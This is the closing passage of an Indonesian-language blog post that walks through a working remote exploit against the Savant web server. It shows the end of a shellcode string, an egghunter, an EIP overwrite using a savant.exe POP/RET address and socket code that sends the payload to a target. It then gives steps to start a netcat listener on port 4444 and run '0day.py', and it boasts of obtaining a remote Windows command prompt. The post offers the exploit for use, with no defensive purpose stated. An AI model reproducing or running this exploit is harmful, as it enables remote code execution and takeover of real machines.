x7b\x2f\x23\xb0\xf2\xdd\x7e\x8c\x49\x48""\x03\xac\x5a\xeb\xb8\xd1\x9e\x78\x91\x4a\x8b\x2c\x13\x8c\x07""\xaf\x70\x3d\x3f\x4b\xf7\x54\x46\x1e\x23\x4e\x6c\xb0\x41\x7c""\x0b\x90\x84\x9e\x7e\xf5\xa7\x74\x63\xf8\x33\x12\xd5\xb5\xa5""\xb4\xce\xe5\xab\xd9\x13\x11\x8d\xda\x30\xb2\x8e\xc8\x85\x72""\x4f\x2e\x80\xc1\x74\xb8\x0a\xcc\xdd\xda\x0f\x97\xdd\xbc\xa8""\xb8\x52\x80\x59\x97\xda\x2a\xb3\x0e\x32\x02\x5a\x54\xb3\xc6""\xd3\xe6\xd9\x1c\x9e\xb8\x54\x81\x7b\xbb\x20\x79\x26\x62\x00""\xc7\x57\xb1\xdf\x48\xb8\xd6\xc4\xde\xeb\x3d\xc7\xee\x8c\x49""\xa7\x39\xc4\xf4\x88\x4f\x31\x13\xd0\x31\xec\x9f\x14\x84\x89""\xa1\x2d")
badbuffer = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x30\x63\x58\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" # egghunter searching for R0cXbadbuffer += "\x90" * (254 - len(badbuffer))badbuffer += "\x09\x1D\x40" # EIP Overwrite 00401D09 savant.exe POP EBP, RETNhttpmethod = "\xb0\x03\x04\x01\x7B\x14" # MOV AL, 3; ADD AL, 1; JPO 14
sendbuf = httpmethod + " /%" + badbuffer + '\r\n\r\n' + buffer2
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect=sock.connect((target_address,target_port))sock.send(sendbuf)sock.close()


Jalankan savant kembali kali ini tidak masalah untuk menjalankan savant tanpa OllyDbg.

Kemudian buka terminal, lalu masukan perintah:

root@revolution:~# nc -l 4444


Kembali ke Windows. Untuk sedikit pembuktian, saya akan menunjukan beberapa hal yang terjadi ketika kita mengirimkan ShellCode ini. Saya membuka Command Prompt, dan memasukan perintah ipconfig. Kemudian saya membuka Savant, dan Task Manager.

Kita eksekusi script 0day kita dengan memasukan perintah:

root@revolution:~# python 0day.py

Kita kembali ke windows, dan lihat apa yang terjadi.


Lihatlah bagaimana Windows Menjerit kesakitan =D
Kembali ke netcat kita.


Sempurna. Kita mendapatkan Command Prompt Windows.

created by : red-dragon

dedicated to : root@bt ( We are the real DRAGON)

special thanks to : Yoshephine Handini (For Support - I Love You)

Thanks to : HN (Keep Spirit, and Thanks for the "Cool")

1 comment:

Post a Comment

 
Back to top!